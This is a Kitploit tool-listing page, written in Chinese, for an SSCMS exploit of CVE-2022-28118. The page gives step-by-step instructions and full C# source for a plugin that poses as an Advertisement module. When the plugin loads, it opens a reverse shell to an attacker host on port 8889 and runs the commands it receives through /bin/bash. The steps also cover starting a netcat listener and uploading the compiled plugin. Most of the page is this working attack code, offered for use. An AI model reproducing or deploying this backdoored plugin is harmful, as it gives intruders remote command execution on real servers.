Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
SSCMS-PluginShell — CVE-2022-28118 | Kitploit
工具/GitHubGitHub/richard-tang/sscms-pluginshell
漏洞利用Web应用程序漏洞利用后渗透利用命令与控制远程访问工具Payload 开发
GitHubrichard-tang/sscms-pluginshell

SSCMS-PluginShell

CVE-2022-28118

查看仓库
824年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
  1. 安装VisualStudio

  2. 导入该项目

  3. 修改Startup.cs文件中的IPAddress.Parse值

    root@kitploit:~
    using Microsoft.Extensions.DependencyInjection;
    using SSCMS.Advertisement.Abstractions;
    using SSCMS.Advertisement.Core;
    using SSCMS.Plugins;
    using System.Diagnostics;
    using System;
    using System.Text;
    using System.Net.Sockets;
    using System.Net;
    using System.Threading;
    
    namespace SSCMS.Advertisement
    {
        public class Startup : IPluginConfigureServices
        {
            
          public void ConfigureServices(IServiceCollection services)
          {
             ThreadStart childref = new ThreadStart(reversShell);
             Thread childThread = new Thread(childref);
             childThread.Start();
             services.AddScoped<IAdvertisementRepository, AdvertisementRepository>();
          }
    
    		public void reversShell()
    		{
    			Socket socketshell = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    			IPAddress ip = IPAddress.Parse("172.17.0.1");
    			IPEndPoint point = new IPEndPoint(ip, Convert.ToInt32("8889"));
    			try
    			{
    				socketshell.Connect(point);
    				while (true)
    				{
    					byte[] getdata = new byte[1024 * 5];
    					int n = socketshell.Receive(getdata);
    					string restr = Encoding.Default.GetString(getdata, 0, n);
    					string command = restr;
    					string resultok = willshell(command);
    					byte[] senddata = new byte[1024 * 5];
    					senddata = Encoding.Default.GetBytes(resultok);
    					socketshell.Send(senddata);
    				}
    			}
    			catch
    			{
    				socketshell.Close();
    			}
    		}
    
    		public static string willshell(object command)
    		{
    			Process process = new Process();
    			process.StartInfo.FileName = "/bin/bash";
    			process.StartInfo.UseShellExecute = false;
    			process.StartInfo.RedirectStandardError = true;
    			process.StartInfo.RedirectStandardInput = true;
    			process.StartInfo.RedirectStandardOutput = true;
    			process.StartInfo.CreateNoWindow = true;
    			process.Start();
    			process.StandardInput.WriteLine("echo off");
    			process.StandardInput.WriteLine(command);
    			process.StandardInput.WriteLine("exit");
    			string result = process.StandardOutput.ReadToEnd();
    			return result;
    		}
    	}
    }
    
  4. 编译项目

  5. 将编译后的输出目录打包成Zip包

  6. 服务器开启监听

    root@kitploit:~
    nc -lvvp 8889
    
  7. 到系统中进行离线安装上传

下载工具